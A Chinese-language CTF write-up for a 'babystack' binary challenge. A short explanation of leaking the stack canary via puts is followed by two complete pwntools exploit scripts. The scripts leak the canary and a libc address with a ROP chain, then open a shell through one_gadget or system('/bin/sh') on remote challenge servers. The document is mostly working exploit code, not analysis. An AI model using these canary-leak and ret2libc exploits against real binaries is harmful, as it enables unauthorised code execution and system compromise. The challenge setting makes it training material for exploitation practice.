給出了libc.so 應該是計算偏移
圖上說明的很清楚了
通過case1,覆蓋到標志位,就可以通過case2 把表示位puts出來
puts遇到\x00停止
標志位最后兩位一定是\x00 sendline末尾自動加上\n 覆蓋掉\x00
所以puts就不會停止 這也方便我們recv的定位
泄露出標志位,通過case3 就可以常規溢出了
這里用到一個很方便的新東西 one_gadget
這玩意可以直接給你把運行shell的代碼地址找出來
比如這樣
這也是libc里面的地址 仍然需要base地址計算真實地址
每次遇到要recv需要的東西的時候一定要確保接下來輸出就是自己需要recv的東西
from pwn import * # io=process('./babystack') io=remote('111.198.29.45',54771) elf=ELF('./babystack') libc=ELF('./libc-2.23.so') io.sendlineafter('>> ','1') payload='A'*0x88 io.sendline(payload) io.sendlineafter('>> ','2') io.recvuntil('A'*0x88+'\n') canary=u64(io.recv(7).rjust(8,'\x00')) print 'canary:'+hex(canary) rdi_pop=0x400a93 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main_addr=0x400908 payload='a'*(0x88)+p64(canary)+'a'*8 payload+=p64(rdi_pop)+p64(puts_got) payload+=p64(puts_plt)+p64(main_addr) io.sendlineafter('>> ','1') io.sendline(payload) io.recv() io.sendlineafter('>> ','3') puts_addr=u64(io.recv(8).ljust(8,'\x00')) print 'puts_addr:'+hex(puts_addr) base=puts_addr-libc.symbols['puts'] one_gadget_addr=base+0x45216 io.sendlineafter('>> ','1') payload='a'*(0x88)+p64(canary)+'a'*8+p64(one_gadget_addr) io.sendline(payload) io.sendlineafter('>> ','3') print "end" io.interactive() #rdi, rsi, rdx, rcx, r8, r9
當然自己泄露libc也行
from pwn import * from LibcSearcher import * # io = process('./stack') io = remote('node3.buuoj.cn',29860) elf=ELF('./stack') # context(arch='amd64',os='linux',log_level='debug') payload='A'*0x89 io.sendlineafter('>> ','1') io.send(payload) io.sendlineafter('>> ','2') io.recvuntil('A'*0x89) canary=u64(io.recv(7).rjust(8,'\x00')) success('canary:'+hex(canary)) start=0x400720 rdi_pop=0x400a93 payload='A'*0x88+p64(canary)+p64(0) payload+=p64(rdi_pop)+p64(elf.got['puts']) payload+=p64(elf.plt['puts'])+p64(start) io.sendlineafter('>> ','1') sleep(0.5) io.sendline(payload) io.sendlineafter('>> ','3') puts=u64(io.recv(6).ljust(8,'\x00')) libc=LibcSearcher('puts',puts) # 4 base=puts-libc.dump('puts') success('base:'+hex(base)) system=base+libc.dump('system') binsh=base+libc.dump('str_bin_sh') payload='A'*0x88+p64(canary)+p64(0) payload+=p64(rdi_pop)+p64(binsh) payload+=p64(system)+p64(start) io.sendlineafter('>> ','1') sleep(0.5) io.sendline(payload) io.sendlineafter('>> ','3') io.interactive() # choice :